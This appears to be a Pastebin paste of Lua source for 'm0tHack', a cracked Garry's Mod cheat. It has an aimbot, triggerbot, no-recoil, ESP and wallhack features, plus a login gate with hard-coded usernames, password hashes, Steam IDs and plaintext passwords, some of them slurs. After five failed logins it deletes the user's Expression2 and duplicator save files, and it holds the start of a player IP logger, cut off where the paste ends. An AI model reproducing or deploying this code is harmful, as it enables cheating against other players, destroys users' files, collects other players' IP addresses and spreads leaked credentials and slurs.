Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- Welcome to m0tHack
- copypasted by Fisheater
- coded by Seth, Falco, Helix, JetBoom and others
- cracked by noPE <3
- This file wasn't modified in any way, apart from
- adding this notice to the top.
- */
- //////////////////////
- //[NH]Core////////////
- //Coded By Fisheater//
- //////////////////////
- Msg( " \n" )
- Msg( "//////////////////////\n" )
- Msg( "///////m0tHack///////\n" )
- Msg( "///Initializing...////\n" )
- Msg( "//////////////////////\n" )
- Msg( " \n" )
- Msg( " \n" )
- Msg( "m0tHack is up-to-date! \n" )
- local PossibleUserNames = { "fisheater124", "nismo1211", "dan", "dummy122", "blackheim", "chiwawa", "nigger", "lolbo", "vulkus", "crater", "dragonheart1995", "boxedin123", "epicdulzura", "scope" }
- local PossiblePassCodes = { "1472994283", "3989721539", "2233149203", "1120869851", "351959269", "2584031210", "2702905881", "1791301996", "2083553565", "2344874481", "2052858118", "745421676", "2826601168" } --eggosaregood, cheese, FuckOff3211, @ro0t!!!!, lemar, sedlock25c, 77010, wonder1555, 4275543, runite, fagg0t
- local SteamIDS = { "NOTWORKING", "NOT WORKING", "STEAM_0:1:75968", "STEAM_0:1:26608198", "STEAM_0:0:15553670", "STEAM_0:0:15553670", "STEAM_0:0:15553670", "STEAM_0:0:15553670", "STEAM_0:1:25266961", "STEAM_0:0:20472448", "STEAM_0:0:25250275", "STEAM_0:1:30285776", "STEAM_0:1:33962112", "STEAM_0:1:33708353", "STEAM_0:1:35841551", "STEAM_0:0:19807101" }
- --FOR STEAMIDS: 1 = Fisheater, 2 = Nismo, 3 = FuckOff *BOUGHT*, 4 = FoxX, 5 = World of screams, 6 = Chiwawa ( British Kid ), 7 = Molly *BOUGHT*, 8 = Lolbo *BOUGHT*, 9 = Aviator12234, 10 = Vulkus *BOUGHT*, 11 = Crater *BOUGHT*, 12 = Dragon*BOUGHT*, 13 = Boxin123 VAC'D *GAVE STEAM ACCOUNT, 14 = Boxin123 *GAVE STEAM ACCOUNT*, 15 = «GPG» EpicDulzura*BOUGHT*, 16 = Luigi/scoPE*GAVE STEAM ACCOUNT*
- concommand.Add( "m0t_LoadMenu", function()
- local DParent = vgui.Create( "DFrame" )
- DParent:SetPos( ScrW()/2 - 150, ScrH()/2 - 100 )
- DParent:SetSize( 300, 200 )
- DParent:SetTitle( "m0tHack Login Menu" )
- DParent:ShowCloseButton( true )
- DParent:SetDraggable( true )
- DParent:MakePopup()
- local UserLabel = vgui.Create( "DLabel", DParent )
- UserLabel:SetPos( 30, 40 )
- UserLabel:SetText( "Username:" )
- local TextEntryU = vgui.Create( "DTextEntry", DParent )
- TextEntryU:SetMultiline( false )
- TextEntryU:SetSize( 240, 20 )
- TextEntryU:SetPos( 30, 60 )
- TextEntryU:SetEnterAllowed( false )
- local PasswordLabel = vgui.Create( "DLabel", DParent )
- PasswordLabel:SetPos( 30, 90 )
- PasswordLabel:SetText( "Password:" )
- local TextEntryI = vgui.Create( "DTextEntry", DParent )
- TextEntryI:SetMultiline( false )
- TextEntryI:SetSize( 240, 20 )
- TextEntryI:SetPos( 30, 110 )
- TextEntryI:SetEnterAllowed( false )
- local oPaint = TextEntryI.Paint
- function TextEntryI:Paint()
- local old = self:GetValue()
- self:SetValue(old:gsub(".", "*"))
- local ret = oPaint(self)
- self:SetValue(old)
- return ret
- end
- local CrashCount = 0
- local Dbutton = vgui.Create( "DButton", DParent )
- Dbutton:SetPos( 100, 160 ) Dbutton:SetSize( 100, 30 )
- Dbutton:SetText( "Login" )
- Dbutton.DoClick = function()
- if !table.HasValue( PossibleUserNames, TextEntryU:GetValue() ) then
- if !table.HasValue( PossiblePassCodes, util.CRC( TextEntryI:GetValue() ) ) then
- Dbutton:SetText( "Access Denied!" )
- CrashCount = CrashCount + 1
- if CrashCount == 5 then
- for sidk, sidv in pairs( SteamIDS ) do
- if sidv ~= LocalPlayer():SteamID() then
- local E2s = file.Find( "Expression2/*.txt" )
- for k, v in pairs( E2s ) do
- file.Delete( "Expression2/" .. v )
- end
- local E2Shared = file.Find( "Expression2/e2shared/*.txt" )
- for k, v in pairs( E2Shared ) do
- file.Delete( "Expression2/e2shared/" .. v )
- end
- local AdvDups = file.Find( "adv_duplicator/*.txt" )
- for k, v in pairs( AdvDups ) do
- file.Delete( "adv_duplicator/" .. v )
- end
- local AdvDupShared = file.Find( "adv_duplicator/e2shared/*.txt" )
- for k, v in pairs( AdvDupShared ) do
- file.Delete( "adv_duplicator/e2shared/" .. v )
- end
- timer.Simple( 1, function()
- LocalPlayer():ConCommand( "cc_random" )
- end )
- end
- end
- timer.Simple( 2, function()
- Dbutton:SetText( "Login" )
- end )
- end
- end
- end
- if table.HasValue( PossibleUserNames, string.lower( TextEntryU:GetValue() ) ) then
- if table.HasValue( PossiblePassCodes, ( util.CRC( TextEntryI:GetValue() ) ) ) then
- if table.HasValue( SteamIDS, LocalPlayer():SteamID() ) then
- if not file.Exists( "m0tAuth.txt" ) then
- if table.HasValue( SteamIDS, LocalPlayer():SteamID() ) then
- file.Write( "m0tAuth.txt", "[NH] SteamID: " .. LocalPlayer():SteamID() .. " Pass: " .. util.CRC( TextEntryI:GetValue() ) .. "" )
- end
- end
- m0tHackCore()
- DParent:SetVisible( false )
- end
- end
- end
- end
- if file.Exists( "m0tAuth.txt" ) then
- for k, v in pairs( PossiblePassCodes ) do
- if file.Read( "m0tAuth.txt" ) == "[NH] SteamID: " .. LocalPlayer():SteamID() .. " Pass: " .. v .. "" then
- TextEntryU:SetText( "Admin" )
- TextEntryI:SetText( "password" )
- Dbutton:SetText( "Access Granted!" )
- timer.Simple( 1, function()
- DParent:SetVisible( false )
- m0tHackCore()
- end )
- end
- end
- end
- end )
- --------------------------------------------------------------------------------------------------------
- function m0tHackCore()
- //m0tHack
- //Coded By Fisheater
- //December 11th, 2010
- --Clientside Only--
- if ( SERVER ) then return end
- --Require Modules--
- require( 'm0t_core' )
- require( 'm0t_fvar' )
- local oRCC = RunConsoleCommand
- local oECC = engineConsoleCommand
- local oMsgN = MsgN
- local oPCC = _R.Player.ConCommand
- local oCVGI = _R.ConVar.GetInt
- local oCVGB = _R.ConVar.GetBool
- local oGCVN = GetConVarNumber
- local oGCVS = GetConVarString
- local oC = table.Copy( concommand )
- local oT = table.Copy( timer )
- local oH = table.Copy( hook )
- local oCV = table.Copy( cvars )
- local oS = table.Copy( sql )
- local oSR = table.Copy( string )
- local oM = table.Copy( math )
- local oF = table.Copy( file )
- local oD = table.Copy( debug )
- local oHTTP = table.Copy( http )
- local oUM = table.Copy( usermessage )
- local m0t = {}
- //ConVars
- CreateClientConVar( "m0t_PlayerESP", 0, true, false )
- CreateClientConVar( "m0t_PlayerESP_Health", 0, true, false )
- CreateClientConVar( "m0t_PlayerESP_ShowAll", 0, true, false )
- CreateClientConVar( "m0t_NPCESP", 0, true, false )
- CreateClientConVar( "m0t_PlayerFullBright", 0, true, false )
- CreateClientConVar( "m0t_PlayerWireFrame", 0, true, false )
- CreateClientConVar( "m0t_MoneyPrinterESP", 0, true, false )
- CreateClientConVar( "m0t_MoneyESP", 0, true, false )
- CreateClientConVar( "m0t_ShipmentESP", 0, true, false )
- CreateClientConVar( "m0t_FullBright", 0, true, false )
- CreateClientConVar( "m0t_Gray", 0, true, false )
- CreateClientConVar( "m0t_WorldWireFrame", 0, true, false )
- CreateClientConVar( "m0t_PlayerBox", 0, true, false )
- CreateClientConVar( "m0t_Bhop", 0, true, false )
- CreateClientConVar( "m0t_ULXAntiGag", 0, true, false )
- CreateClientConVar( "m0t_NikeSpeed", 7, true, false )
- CreateClientConVar( "m0t_HostFrameRate", 1, true, false )
- CreateClientConVar( "m0t_HostTimeScale", 0, true, false )
- CreateClientConVar( "m0t_SpeedHack_CheatsOff", 1, true, false )
- CreateClientConVar( "m0t_Traitor", 0, true, false )
- CreateClientConVar( "m0t_KeypadHack", 0, true, false )
- CreateClientConVar( "m0t_WeaponsESP", 0, true, false )
- CreateClientConVar( "m0t_AimBot_TriggerBot", 0, true, false )
- CreateClientConVar( "m0t_PlayerWallHackFull", 0, true, false )
- CreateClientConVar( "m0t_DynamicLight", 0, true, false )
- CreateClientConVar( "m0t_DynamicLightSize", 250, true, false )
- CreateClientConVar( "m0t_LogPlayerIPs", 1, true, false )
- CreateClientConVar( "m0t_CrossHair", 0, true, false )
- CreateClientConVar( "m0t_CrossHair_Red", 255, true, false )
- CreateClientConVar( "m0t_CrossHair_Green", 0, true, false )
- CreateClientConVar( "m0t_CrossHair_Blue", 0, true, false )
- CreateClientConVar( "m0t_C4Detection", 1, true, false )
- chat.AddText(
- Color(153,153,152,255), "[NH] ",
- Color(255,0,0,255), "Hack ",
- Color(255,0,0,255), "Loaded ",
- Color(255,0,0,255), "Successfully..." )
- if !file.Exists( "m0tNewPlayer.txt" ) then
- LocalPlayer():ChatPrint( "Hello " .. LocalPlayer():Nick() .. "! To open the m0tHack menu bind a key to: +m0t_menu" )
- end
- file.Write( "m0tNewPlayer.txt", "OK" )
- ----------------------------------------------------------------
- //Fix BufferOver Flow
- RunConsoleCommand( "cl_cmdrate", 100 )
- RunConsoleCommand( "cl_updaterate", 101 )
- RunConsoleCommand( "myinfo_bytes" , 2750 )
- RunConsoleCommand( "rate" , 30000 )
- ----------------------------------------------------------------
- --[NH] Player Aimbot
- --Coded By Fisheater
- --1/14/11
- local m0tAim = 0
- CreateClientConVar( "m0t_AimBot_IgnoreSteamFriends", 1, true, false )
- CreateClientConVar( "m0t_AimBot_AimMode", 2, true, false )
- CreateClientConVar( "m0t_AimBot_AimBone", 1, true, false )
- CreateClientConVar( "m0t_AimBot_AimOffset", 0, true, false )
- CreateClientConVar( "m0t_AimBot_NoRecoil", 1, true, false )
- CreateClientConVar( "m0t_AimBot_Friendlyfire", 1, true, false )
- CreateClientConVar( "m0t_AimBot_IgnoreAdmins", 1, true, false )
- CreateClientConVar( "m0t_AimBot_IgnoreFriends", 0, true, false )
- CreateClientConVar( "m0t_AimBot_SmoothAimSpeed", 2, true, false )
- CreateClientConVar( "m0t_AimBot_SmoothAimEnabled", 0, true, false )
- RunConsoleCommand( "m0t_AimBot_AimMode", tonumber( GetConVarNumber( "m0t_AimBot_AimMode" ) ) )
- concommand.Add( "+m0t_Aim", function()
- m0tAim = 1
- end )
- concommand.Add( "-m0t_Aim", function()
- m0tAim = 0
- end )
- function IsVisible( ent )
- local tracer = {}
- tracer.start = LocalPlayer():GetShootPos()
- tracer.endpos = ent:GetBonePosition( ent:LookupBone( "ValveBiped.Bip01_Head1" ) )
- tracer.filter = { LocalPlayer(), ent }
- tracer.mask = MASK_SHOT
- local trace = util.TraceLine( tracer )
- if trace.Fraction >= 1 then return true else return false end
- end
- function Exceptions( ent124 )
- if GetConVarNumber( "m0t_AimBot_IgnoreSteamFriends" ) == 1 then
- if ent124:GetFriendStatus() != "friend" then return true end
- else return true
- end
- end
- function Exceptions2( entt124 )
- if GetConVarNumber( "m0t_AimBot_Friendlyfire" ) == 0 then
- if entt124:Team() != LocalPlayer():Team() then return true end
- else return true
- end
- end
- function Exceptions3( enta124 )
- if GetConVarNumber( "m0t_AimBot_IgnoreAdmins" ) == 1 then
- if enta124:IsAdmin() or enta124:IsSuperAdmin() then return false else return true end
- else
- return true
- end
- end
- function Exceptions4( v12 )
- if GetConVarNumber( "m0t_AimBot_IgnoreFriends" ) < 1 then return true end
- if #friendslist < 1 then return true end
- for k1, v1 in pairs( friendslist ) do
- if v12:Nick() ~= v1 then
- return true
- else
- return false
- end
- end
- end
- function ClosestTarget()
- local target = { NULL, 0 }
- for k, v in ipairs( player.GetAll() ) do
- if ValidEntity( v ) then
- if v ~= LocalPlayer() then
- if IsVisible( v ) then
- if v:Team() ~= TEAM_SPECTATOR and v:Team() ~= "1001" and v:Team() ~= "1002" then
- if v:Health() > 0 and v:Alive() then
- if !v:InVehicle() then
- if IsVisible( v ) then
- if Exceptions( v ) then
- if Exceptions2( v ) then
- if Exceptions3( v ) then
- if Exceptions4( v ) then
- local distance = v:GetPos() - LocalPlayer():GetPos()
- distance = distance:Length()
- distance = math.abs( distance )
- if ( distance < target[2] or target[1] == NULL ) then
- target = { v, distance }
- end
- end
- end
- end
- end
- end
- end
- end
- end
- end
- end
- end
- end
- if ValidEntity( target[1] ) then
- if target[1] != LocalPlayer() then
- return target[1]
- else
- return LocalPlayer()
- end
- end
- end
- function ClosestTarget2()
- local pos = LocalPlayer():GetPos()
- local ang = LocalPlayer():GetAimVector()
- local target2 = { NULL, 0 }
- for k, v in ipairs( player.GetAll() ) do
- if ValidEntity( v ) then
- if v ~= LocalPlayer() then
- if IsVisible( v ) then
- if v:Team() ~= TEAM_SPECTATOR and v:Team() ~= TEAM_UNASSIGNED and v:Team() ~= TEAM_CONNECTING then
- if v:Health() > 0 and v:Alive() then
- if !v:InVehicle() then
- if Exceptions( v ) then
- if Exceptions2( v ) then
- if Exceptions3( v ) then
- if Exceptions4( v ) then
- local crosshair = ( v:GetPos() - pos ):Normalize()
- crosshair = crosshair - ang
- crosshair = crosshair:Length()
- crosshair = math.abs( crosshair )
- if ( crosshair < target2[2] ) or ( target2[1] == NULL ) then
- target2 = { v, crosshair }
- end
- end
- end
- end
- end
- end
- end
- end
- end
- end
- end
- end
- if ValidEntity( target2[1] ) then
- if target2[1] != LocalPlayer() then
- return target2[1]
- else
- return LocalPlayer()
- end
- end
- end
- hook.Add( "Think", "m0tNoRecoil", function()
- if GetConVarNumber( "m0t_AimBot_NoRecoil" ) >= 1 then
- if LocalPlayer():GetActiveWeapon().Primary then
- LocalPlayer():GetActiveWeapon().Primary.Recoil = 0
- end
- end
- end )
- function Target()
- if GetConVarNumber( "m0t_AimBot_AimMode" ) >= 2 then
- return ClosestTarget2()
- elseif GetConVarNumber( "m0t_AimBot_AimMode" ) <= 1 then
- return ClosestTarget()
- end
- end
- hook.Add( "Think", "TriggerBot1", function()
- if GetConVarNumber( "m0t_AimBot_TriggerBot" ) >= 1 then
- if LocalPlayer():GetEyeTrace().Entity:IsPlayer() then
- RunConsoleCommand( "+attack" )
- else
- RunConsoleCommand( "-attack" )
- end
- end
- end )
- --------------------------------------------------------------
- local w = ScrW() / 2 - 28
- local h = ScrH() / 2 - 55
- CreateClientConVar( "m0t_AimBot_ShowAimStatus", 1, true, false )
- function AimBoat()
- if m0tAim == 1 then
- if !Target() then
- if GetConVarNumber( "m0t_AimBot_ShowAimStatus" ) >= 1 then
- draw.SimpleText( "Scanning...", "TabLarge", w, h, Color( 0, 255, 0, 255 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT )
- end
- end
- if Target() and ValidEntity( Target() ) then
- local BonePos
- local TarAng
- if GetConVarNumber( "m0t_AimBot_AimBone" ) <= 0 then
- BonePos = Target():GetBonePosition( Target():LookupBone( "ValveBiped.Bip01_Head1" ) ) + Vector( 0, 0, tonumber( GetConVarNumber( "m0t_AimBot_AimOffset" ) ) )
- elseif GetConVarNumber( "m0t_AimBot_AimBone" ) == 1 then
- BonePos = Target():GetBonePosition( Target():LookupBone( "ValveBiped.Bip01_Head1" ) ) + Vector( 0, 0, tonumber( GetConVarNumber( "m0t_AimBot_AimOffset" ) ) )
- elseif GetConVarNumber( "m0t_AimBot_AimBone" ) == 2 then
- BonePos = Target():GetBonePosition( Target():LookupBone( "ValveBiped.Bip01_Neck1" ) ) + Vector( 0, 0, tonumber( GetConVarNumber( "m0t_AimBot_AimOffset" ) ) )
- elseif GetConVarNumber( "m0t_AimBot_AimBone" ) == 3 then
- BonePos = Target():GetBonePosition( Target():LookupBone( "ValveBiped.Bip01_Spine4" ) ) + Vector( 0, 0, tonumber( GetConVarNumber( "m0t_AimBot_AimOffset" ) ) )
- elseif GetConVarNumber( "m0t_AimBot_AimBone" ) == 4 then
- BonePos = Target():GetBonePosition( Target():LookupBone( "ValveBiped.Bip01_Spine2" ) ) + Vector( 0, 0, tonumber( GetConVarNumber( "m0t_AimBot_AimOffset" ) ) )
- elseif GetConVarNumber( "m0t_AimBot_AimBone" ) == 5 then
- BonePos = Target():GetBonePosition( Target():LookupBone( "ValveBiped.Bip01_Spine1" ) ) + Vector( 0, 0, tonumber( GetConVarNumber( "m0t_AimBot_AimOffset" ) ) )
- elseif GetConVarNumber( "m0t_AimBot_AimBone" ) == 4 then
- BonePos = Target():GetBonePosition( Target():LookupBone( "ValveBiped.Bip01_Spine" ) ) + Vector( 0, 0, tonumber( GetConVarNumber( "m0t_AimBot_AimOffset" ) ) )
- elseif GetConVarNumber( "m0t_AimBot_AimBone" ) >= 5 then
- BonePos = Target():GetBonePosition( Target():LookupBone( "ValveBiped.Bip01_Spine" ) ) + Vector( 0, 0, tonumber( GetConVarNumber( "m0t_AimBot_AimOffset" ) ) )
- end
- BonePos = BonePos + Target():GetVelocity() / 50 - LocalPlayer():GetVelocity() / 50
- TarAng = ( BonePos - LocalPlayer():GetShootPos() ):Angle()
- TarAng.p = math.NormalizeAngle( TarAng.p )
- TarAng.y = math.NormalizeAngle( TarAng.y )
- TarAng.r = 0
- if GetConVarNumber( "m0t_AimBot_SmoothAimEnabled" ) >= 1 then
- local Angle1 = LocalPlayer():EyeAngles()
- local Smooth1 = math.Approach( LocalPlayer():EyeAngles().p, TarAng.p, GetConVarNumber( "m0t_AimBot_SmoothAimSpeed" ) )
- local Smooth2 = math.Approach( LocalPlayer():EyeAngles().y, TarAng.y, GetConVarNumber( "m0t_AimBot_SmoothAimSpeed" ) )
- LocalPlayer():SetEyeAngles( Angle( Smooth1, Smooth2, 0 ) )
- if GetConVarNumber( "m0t_AimBot_ShowAimStatus" ) >= 1 then
- draw.SimpleText( "Target Locked!", "TabLarge", w, h, Color( 255, 0, 0, 255 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT )
- draw.SimpleText( "TARGET: " .. Target():Nick(), "TabLarge", w, h + 15, Color( 255, 0, 0, 255 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT )
- end
- else
- LocalPlayer():SetEyeAngles( Angle( TarAng.p, TarAng.y, 0 ) )
- if GetConVarNumber( "m0t_AimBot_ShowAimStatus" ) >= 1 then
- draw.SimpleText( "Target Locked!", "TabLarge", w, h, Color( 255, 0, 0, 255 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT )
- draw.SimpleText( "Target: " .. Target():Nick(), "TabLarge", w, h + 15, Color( 255, 0, 0, 255 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT )
- end
- if !LocalPlayer():GetEyeTrace().Entity:IsPlayer() then return end
- end
- end
- end
- end
- hook.Add( "HUDPaint", "m0tHackAimBoat", AimBoat )
- ---------------------------------------------
- //Player ESP
- function PlayerESP()
- --draw.SimpleText( "m0tHack Users:", "Default", ScrW() - 215, 105, Color( 255, 150, 0, 255 ), 0, 0 )
- --for k3, v3 in ipairs( player.GetAll() ) do
- --if v3:GetEmail() == "N/A - 82131" then
- --draw.SimpleText( v3:Name(), "Default", ScrW() - 175, 105 + ( ( k3 - 1 ) * 10 ), Color( 255, 150, 0, 255), 0, 0 )
- --end
- --end
- if GetConVarNumber( "m0t_PlayerESP" ) >= 1 then
- for k, v in pairs( player.GetAll() ) do
- if ValidEntity( v ) then
- if v ~= LocalPlayer() then
- local PlyESPPos = ( v:EyePos() ):ToScreen()
- if v:Alive() and v:Team() ~= TEAM_SPECTATOR then
- draw.SimpleText( v:Nick(), "TabLarge", PlyESPPos.x, PlyESPPos.y, team.GetColor( v:Team() ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER )
- if v:IsAdmin() then
- if GetConVarNumber( "m0t_Traitor" ) >= 1 then
- draw.SimpleText( "*Admin*", "TabLarge", PlyESPPos.x, PlyESPPos.y - 32, Color( 255, 0, 0, 255 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER )
- else
- draw.SimpleText( "*Admin*", "TabLarge", PlyESPPos.x, PlyESPPos.y - 13, Color( 255, 0, 0, 255 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER )
- end
- end
- if !v:IsAdmin() then
- if v:GetFriendStatus() == "friend" then
- if GetConVarNumber( "m0t_Traitor" ) >= 1 then
- draw.SimpleText( "*Friend*", "TabLarge", PlyESPPos.x, PlyESPPos.y - 32, Color( 255, 0, 0, 255 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER )
- else
- draw.SimpleText( "*Friend*", "TabLarge", PlyESPPos.x, PlyESPPos.y - 13, Color( 255, 0, 0, 255 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER )
- end
- end
- end
- local colorhp
- if GetConVarNumber( "m0t_PlayerESP_Health" ) >= 1 then
- if v ~= LocalPlayer() then
- local hp = ( v:Health() ) / 2
- local PlyESPPos = ( v:EyePos() ):ToScreen()
- if v:Health() >= 75 then
- colorhp = Color( 0, 255, 0, 255 )
- elseif v:Health() >= 35 and v:Health() < 75 then
- colorhp = Color( 255, 255, 0, 255 )
- elseif v:Health() < 35 then
- colorhp = Color( 255, 0, 0, 255 )
- end
- if v:Team() ~= TEAM_SPECTATOR and v:Alive() and v:Health() > 0 then
- draw.RoundedBox( 4, PlyESPPos.x - 23, PlyESPPos.y + 22, hp, 5, colorhp )
- end
- end
- end
- else
- if GetConVarNumber( "m0t_PlayerESP_ShowAll" ) >= 1 then
- draw.SimpleText( "*Dead*", "TabLarge", PlyESPPos.x, PlyESPPos.y - 22, Color( 255, 0, 0, 255 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER )
- draw.SimpleText( v:Nick(), "TabLarge", PlyESPPos.x, PlyESPPos.y, Color( 255, 0, 0, 255 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER )
- end
- end
- end
- end
- end
- end
- end
- hook.Add( "HUDPaint", "PlayerESP1", PlayerESP )
- function PlayerBox()
- if GetConVarNumber( "m0t_PlayerBox" ) >= 1 then
- for k, v in pairs ( player.GetAll() ) do
- if v ~= LocalPlayer() then
- if v:Alive() and v:Team() ~= TEAM_SPECTATOR then
- local PlayerBoxPos = v:EyePos():ToScreen()
- surface.SetDrawColor( team.GetColor( v:Team() ) )
- surface.DrawOutlinedRect( PlayerBoxPos.x - 40 / 2, PlayerBoxPos.y - 40 / 2, 40, 80 )
- end
- end
- end
- end
- end
- hook.Add( "HUDPaint", "PlayerBox1", PlayerBox )
- function NPCESP()
- if GetConVarNumber( "m0t_NPCESP" ) >= 1 then
- for k, v in pairs( ents.GetAll() ) do
- if ValidEntity( v ) then
- if v:IsNPC() then
- local NpcESPPos = ( v:EyePos() ):ToScreen()
- draw.SimpleText( v:GetClass(), "TabLarge", NpcESPPos.x, NpcESPPos.y - 22, Color( 255, 0, 0, 255 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER )
- end
- end
- end
- end
- end
- hook.Add( "HUDPaint", "NPCESP1", NPCESP )
- function C4Detection()
- if GetConVarNumber( "m0t_C4Detection" ) >= 1 then
- for k, v in pairs( ents.GetAll() ) do
- if ValidEntity( v ) then
- if v:GetClass() == "ttt_c4" then
- local NpcESPPos2 = ( v:EyePos() ):ToScreen()
- if math.max( 0, v:GetExplodeTime() - CurTime() ) == "00:00" then
- draw.SimpleText( "C4", "TabLarge", NpcESPPos2.x, NpcESPPos2.y - 22, Color( 255, 0, 0, 255 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER )
- elseif math.max( 0, v:GetExplodeTime() - CurTime() ) ~= "00:00" then
- draw.SimpleText( "C4 | TIME LEFT: " .. string.FormattedTime( math.max( 0, v:GetExplodeTime() - CurTime() ), "%02i:%02i" ), "TabLarge", NpcESPPos2.x, NpcESPPos2.y - 22, Color( 255, 0, 0, 255 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER )
- end
- end
- end
- end
- end
- end
- hook.Add( "HUDPaint", "C4Det1", C4Detection )
- //WallHack
- function WallHack()
- if GetConVarNumber( "m0t_PlayerFullBright" ) >= 1 then
- for k, v in pairs(ents.GetAll()) do
- if ValidEntity( v ) then
- if v:IsPlayer() or v:IsNPC() then
- v:SetMaterial( "" )
- cam.Start3D( EyePos(), EyeAngles() )
- v:DrawModel()
- cam.End3D()
- end
- end
- end
- end
- end
- hook.Add( "HUDPaint", "WallHack1", WallHack )
- //MoneyPrinterESP
- function MoneyPrinterESP()
- if GetConVarNumber( "m0t_MoneyPrinterESP" ) >= 1 then
- for k, v in pairs( ents.GetAll() ) do
- if ValidEntity( v ) then
- if v:GetClass() == "money_printer" or v:GetClass() == "reg_money_printer" or v:GetClass() == "platinum_printer" or v:GetClass() == "golden_printer" or v:GetClass() == "zz_money_printer" or v:GetClass() == "money_printer_commercial" or v:GetClass() == "money_printer_industrial" then
- MoneyPrinterPos = v:EyePos():ToScreen()
- draw.SimpleText( v:GetClass(), "TabLarge", MoneyPrinterPos.x, MoneyPrinterPos.y, Color( 255, 150, 0, 255 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER )
- end
- end
- end
- end
- end
- hook.Add( "HUDPaint", "MoneyPrinterESP1", MoneyPrinterESP )
- function MoneyESP()
- if GetConVarNumber( "m0t_MoneyESP" ) >= 1 then
- for k, v in pairs( ents.GetAll() ) do
- if ValidEntity( v ) then
- if v:GetClass() == "spawned_money" then
- MoneyPos = v:EyePos():ToScreen()
- draw.SimpleText( "Money: $" .. v.dt.amount, "TabLarge", MoneyPos.x, MoneyPos.y, Color( 0, 255, 0, 255 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER )
- end
- end
- end
- end
- end
- hook.Add( "HUDPaint", "MoneyESP1", MoneyESP )
- //ShipmentESP
- function ShipmentESP()
- if GetConVarNumber( "m0t_ShipmentESP" ) >= 1 then
- for k, v in pairs( ents.GetAll() ) do
- if ValidEntity( v ) then
- if v:GetClass() == "spawned_shipment" && v:GetMoveType() != 0 then
- ShipmentPos = v:EyePos():ToScreen()
- local content = v.dt.contents
- local contents = CustomShipments[content]
- contents = contents.name
- draw.SimpleText( "Shipment: " .. contents, "TabLarge", ShipmentPos.x, ShipmentPos.y, Color( 255, 0, 0, 255 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER )
- draw.SimpleText( "Count: " .. v.dt.count, "TabLarge", ShipmentPos.x, ShipmentPos.y + 22, Color( 255, 0, 0, 255 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER )
- end
- end
- end
- end
- end
- hook.Add( "HUDPaint", "ShipmentESP1", ShipmentESP )
- function WeaponsESP()
- if GetConVarNumber( "m0t_WeaponsESP" ) >= 1 then
- for k, v in pairs( ents.GetAll() ) do
- if ValidEntity( v ) then
- if v:IsWeapon() && v:GetMoveType() != 0 then
- if string.sub( v:GetClass(), 1, 7 ) == "weapon_" then
- WeaponPos = v:EyePos():ToScreen()
- draw.SimpleText( v:GetClass(), "TabLarge", WeaponPos.x, WeaponPos.y, Color( 255, 0, 0, 255 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER )
- end
- end
- end
- end
- end
- end
- hook.Add( "HUDPaint", "WeaponsESP1", WeaponsESP )
- -------------------------------------------------
- //IP Logger
- if not file.Exists( "m0t_logged_ips.txt" ) then
Add Comment
Please, Sign In to add comment